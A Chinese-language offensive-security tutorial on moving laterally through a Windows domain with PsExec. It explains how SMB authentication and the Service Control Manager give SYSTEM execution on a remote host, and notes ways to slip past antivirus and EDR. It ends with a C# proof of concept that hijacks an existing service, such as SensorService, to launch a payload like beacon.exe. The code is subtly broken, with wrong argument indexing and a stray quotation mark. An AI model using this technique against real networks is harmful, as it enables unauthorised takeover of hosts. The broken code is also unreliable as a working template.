PsExec
横向移动,即通过对网络中的其他主机实现访问和控制从而扩大我们的占领范围,本质是因为我们已经拿下的资源 (用户、主机等)对其他主机具有特定的权限。在之前的章节,我们通过各种域攻击手法,例如 DACL 利用、组策略利用等,攻陷了更多的用户和主机。之前,我们能对其他主机实现资源访问、代码执行,现在,我们想要获得来自这些主机的 Beacon 或 Shell。尽管横向移动的真正难点在于攻陷这些具有权限的用户或主机从而实现对他们的模仿以获得特权,但在不同情况下选择最合适的横向移动方法也很重要,因为不同的横向移动方法所需要的需求不一样,也有着不同的 IOC。
当我们在企业网络中获得了具有权限的帐号之后,我们可以进一步扩大攻击领域,通过横向移动,获得对其他主机的控制权。横向移动,不仅仅是一种移动方式,更是我们在域内提权过程中的收获。横向移动的方式有诸多,其中 PsExec 是最知名的一种。
PsExec 是微软 Sysinternals suite 中的一部分 (https://learn.microsoft.com/en-us/sysinternals/downloads/psexec),通过向目标主机的 SMB 服务认证,以 SYSTEM 权限获得对目标主机的远程访问。PsExec 通过访问 SCM (服务控制管理器),在目标主机上拷贝一个服务二进制文件,创建一个新的服务并且执行,最终获得交互式访问。因此,如果我们拿下了一个用户,该用户对其他主机具有本地管理员特权,那么我们可以通过 psexec 横向移动到目标主机上。也就是前提条件有二,目标主机开启445端口,用户对目标主机具有本地管理员特权。
PsExec.exe 是 Sysinternals suite 中的工具,并且因为是微软签名的,并不会被 AV 所拦截。除此之外,诸多 C2 框架也自带了 psexec 横向移动的特性,例如 Meterpreter, CobaltStrike 等,但由于这些 C2 框架生成的服务二进制文件的特征与一般 agent 相似,因此十分容易被 AV 捕捉。在了解了 psexec 的工作原理后,我们可以实现自定义的 psexec 载荷。PoC 如下:
该代码接受的第一个参数为目标主机名,例如 srv01,第二个参数为服务名,例如 SensorService,第三个参数为要执行的二进制文件地址,例如 C:\windows\tasks\beacon.exe。我们来分析该代码,先是通过 SCM API 向 SMB 进行认证,在认证完成之后,打开一个现有的服务,为了确保总是成功,我们尽可能选择一个会出现在所有操作系统和所有版本上的服务,例如 SensorService。之后,修改该服务的配置,即服务二进制文件的地址。最后,启动该服务。但是,我们需要注意,服务所对应的二进制文件应当是服务二进制文件,因此如果我们指向了普通的 exe 文件,那么该程序会很快退出。因此,我们可以通过给载荷文件添加进程注入等操作,以避免短时间内退出的情况。
我们还可以使用 impacket 来实现 psexec的横向移动。根据输出信息,我们可以得知原理跟我们上述所讲的是一样的。
尽管 psexec 是 Windows 原生的工具,因为攻击者普遍用其来实施横向移动,因此一些 EDR 也会把 psexec 添加至黑名单,以及从原理上监控通过 psexec 实现横向移动的行为。
Windows Internal PsExec
C2
jump-psexec
第三方工具
Impacket
PaExec
BOF scshell
编程实现
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
namespace movement
{
class Program
{
[DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);
[DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);
[DllImport("advapi32", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);
static void Main(string[] args)
{
String target = args[1];
IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);
string ServiceName = args[2]";
IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF);
string payload = args[3];
bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null, null, null, null, null);
bResult = StartService(schService, 0, null);
}
}
}